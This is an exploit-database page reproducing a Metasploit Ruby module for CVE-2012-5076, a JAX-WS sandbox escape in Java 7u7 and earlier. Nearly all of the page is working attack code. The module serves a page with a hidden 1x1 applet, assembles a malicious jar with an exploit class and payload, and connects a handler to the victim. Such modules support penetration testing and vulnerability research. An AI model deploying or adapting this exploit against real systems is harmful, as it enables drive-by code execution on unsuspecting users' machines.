Java Applet JAX-WS Remote Code Execution

🗓️ 16 Oct 2012 00:00:00Reported by Unknown, juan vazquez <[email protected]>Type

Java Applet JAX-WS Remote Code Execution module exploits JAX-WS classes in Java Applet to run arbitrary code outside the sandbox

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({ :javascript => false })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Java Applet JAX-WS Remote Code Execution',
        'Description' => %q{
          This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
          code outside of the sandbox as exploited in the wild in November of 2012. The
          vulnerability affects Java version 7u7 and earlier.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Unknown', # Vulnerability Discovery
          'juan vazquez' # metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-5076' ],
          [ 'OSVDB', '86363' ],
          [ 'BID', '56054' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
          [ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],
          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]
        ],
        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
        'Targets' => [
          [
            'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA
            }
          ],
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [
            'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-10-16',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    if !request.uri.match(/\.jar$/i)
      if !request.uri.match(%r{/$})
        send_redirect(cli, get_resource + '/', '')
        return
      end

      print_status("#{name} handling request")

      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
      return
    end

    paths = [
      [ 'Exploit.class' ],
      [ 'MyPayload.class' ]
    ]

    p = regenerate_payload(cli)

    jar = p.encoded_jar

    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0, idx].join('/') + '/'
        if !(jar.entries.map { |e| e.name }.include?(full))
          jar.add_file(full, '')
        end
      end
      fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5076', path), 'rb')
      data = fd.read(fd.stat.size)
      jar.add_file(path.join('/'), data)
      fd.close
    end

    print_status('Sending Applet.jar')
    send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })

    handler(cli)
  end

  def generate_html
    jar_name = rand_text_alpha(rand(3..8)) + '.jar'
    html = '<html><head></head>'
    html += '<body>'
    html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
    html += '</applet></body></html>'
    return html
  end
end

16 Oct 2012 00:00Current

5.5Medium risk

Vulners AI Score5.5